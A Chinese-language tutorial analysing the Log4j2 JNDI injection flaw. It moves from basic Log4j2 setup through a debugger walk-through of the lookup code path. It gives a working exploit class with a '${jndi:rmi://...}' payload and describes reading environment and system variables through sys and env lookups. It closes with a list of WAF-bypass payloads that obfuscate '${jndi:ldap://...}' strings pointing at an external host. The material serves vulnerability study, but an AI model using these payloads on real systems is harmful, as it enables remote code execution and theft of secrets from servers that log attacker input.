Log4j2漏洞分析

0x01 Log4j2基础开发学习

log4j和log4j2都是日志管理工具,相比于log4j、log4j2一步步变的越来越主流,现在市场很多项目都是slf4j+log4j2
实现Log4j2的组件应用,先是Pom.xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<dependency>    
 <groupId>org.apache.logging.log4j</groupId>    
 <artifactId>log4j-core</artifactId>    
 <version>2.14.1</version>    
</dependency>     
<dependency>    
 <groupId>org.apache.logging.log4j</groupId>    
 <artifactId>log4j-api</artifactId>    
 <version>2.14.1</version>    
</dependency>    
<dependency>    
 <groupId>junit</groupId>    
 <artifactId>junit</artifactId>    
 <version>4.12</version>    
 <scope>test</scope>    
</dependency>  

先用简单的xml的方式来实现,文件如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="UTF-8"?>    
  
<configuration status="info">      
 <Properties>    
 <Property name="pattern1">[%-5p] %d %c - %m%n</Property>    
 <Property name="pattern2">    
 =========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n    
        </Property>    
 <Property name="filePath">logs/myLog.log</Property>    
 </Properties>    
 <appenders> <Console name="Console" target="SYSTEM_OUT">    
 <PatternLayout pattern="${pattern1}"/>    
 </Console> <RollingFile name="RollingFile" fileName="${filePath}"    
 filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">    
 <PatternLayout pattern="${pattern2}"/>    
 <SizeBasedTriggeringPolicy size="5 MB"/>    
 </RollingFile>   
	</appenders>   
	<loggers>   
		<root level="info">    
 <appender-ref ref="Console"/>    
 <appender-ref ref="RollingFile"/>    
 </root>   
</loggers>  
</configuration>  

写一个Demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import org.apache.logging.log4j.LogManager;    
import org.apache.logging.log4j.Logger;    
    
import java.util.function.LongFunction;    
    
public class Log4j2Test01 {    
    public static void main( String[] args )    
    {    
        Logger logger = LogManager.getLogger(LongFunction.class);    
        logger.trace("trace level");    
        logger.debug("debug level");    
        logger.info("info level");    
        logger.warn("warn level");    
        logger.error("error level");    
        logger.fatal("fatal level");    
    }    
}  

实际开发场景

现在的代码是我们封装的一个行为,一般日志文件还是需要输出的。然后实际应用的话。
比如我从数据库获取到了一个usernamehuahua,我要把它登陆进来的信息打印到日志里面,这个路径一般有一个/logs的文件夹的。
demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import org.apache.logging.log4j.LogManager;    
import org.apache.logging.log4j.Logger;    
    
import java.util.function.LongFunction;    
    
public class RealEnv {    
    public static void main(String[] args) {    
        Logger logger = LogManager.getLogger(LongFunction.class);    
    
        String username = "huahua";    
        if (username != null) {    
            logger.info("User {} login in!", username);    
        }    
        else {    
            logger.error("User {} not exists", username);    
        }    
    }    
}  

0x02 Log4j2漏洞分析

影响版本

2.x<=log4j<=2.15.0-rc1

漏洞原理

username这个参数是可以控制的logger.info("User {} login in!", username);
在这里,尝试输入一下其他的
username修改为String username = "${java:os}";,在跑一下看看
直接打印出了我们操作系统的一些信息。看一下官方文档的解释
按照官网上面的api来看,并不会造成安全漏洞
但是这里的lookup是基于jndi的,而jndi是存在注入漏洞的,直接调用lookup()是会存在漏洞的

0x03 漏洞复现与EXP

在知道漏洞原理的情况下,直接写exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import org.apache.logging.log4j.LogManager;    
import org.apache.logging.log4j.Logger;    
    
import java.util.function.LongFunction;    
    
public class log4j2EXP {    
    public static void main(String[] args) {    
        Logger logger = LogManager.getLogger(LongFunction.class);    
    
        String username = "${jndi:rmi://192.168.2.1:1099/ln5ex5}";    
    
        logger.info("User {} login in!", username);    
    }    
}  

0x04 调试分析

下个断点在PatternLayout这个类下的toSerializable()方法。
往下走,是一个循环,遍历formatters一段段拼接输出的内容,
两个传进去进行处理的变量一个是event,也就是我们log4j2需要来进行日志打印的内容;另外一个buffer,我们会把打印出来的东西写进buffer
跟进format()方法,这个format()方法可以当作是处理字符串的一个方法。
因为这是一个循环遍历formatters的,中间会做很多数据处理的工作,有一个地方很重要,当i=7的时候进入到了另一个format处理方法,
进入到这个format()方法里面后,先判断是否是Log4j2lookups功能。
继续往下走,会遍历workingBuilder来进行判断;如果workingBuilder中存在${,那么就会取出从$开始直到最后的字符串,
workingBuilder的内容如下,其实结构也比较清晰方法名,日志级别,当前类名,然后就是payload
上图的value就是我们输入的pyaload${jndi:rmi://192.168.2.1:1099}
跟进replace()方法,replace()方法里面调用了substitute()方法
进入到这里
继续往下走,直到进入到while循环里面,在while循环中,会对字符串进行逐字匹配${
然后进行循环读取,直到读取到}并获取其坐标,然后将${}中间的内容取出来,然后又会调用this.subtitute来处理
运行subtitute的时候,由于已经没有了${}所以,直接来到了下面,将varName作为变量传入resolveVariable函数
varName 就是为${}中的值
可以猜测resolver解析时支持的关键词有[date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j],而我们这里利用的jndi:xxx后续就会用到JndiLookup这个解析器
这里看到resolveVariable()方法里面是调用了lookup()方法,这个lookup()方法也就是jndi里面原生的方法,在我们让jndi去调用ldap服务的时候,是调用原生的lookup()方法的,是存在漏洞的。
这里就是常规的jndi注入点,会进行命令执行

总结

1、先判断内容是否有${},然后截取${}中的内容,得到恶意payload jndi:xxx
2、使用:分割payload,通过前缀来判断使用何种解析器去lookup
3、支持的前缀包括date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j

奇淫技巧

主要是读取敏感信息,GoogleCTF2022 的 log4j2 的题目中,有一种非预期的方式就是通过这种方式打的
刚才分析了其他解析器功效,通过sysenv协议,结合jndi可以读取到一些环境变量和系统变量,特定情况下可能可以读取到系统密码

0x05 针对WAF的绕过

1、利用分隔符和多个${}绕过

logg.info("${${::-J}ndi:ldap://127.0.0.1:1389/Calc}");

2、通过lower和upper绕过

这一点,因为我们之前说允许的字段是这一些
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,其中就有 lower 和 upper

同时也可以利用 lower 和 upper 来进行 bypass 关键字

1
2
3
logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");  
logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");  
....  

3、总结一些payload

1
2
3
4
5
6
7
8
9
${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};  
    
${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";  
    
${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";  
    
${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";  
    
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";  

Reference

https://wjlshare.com/archives/1677

0%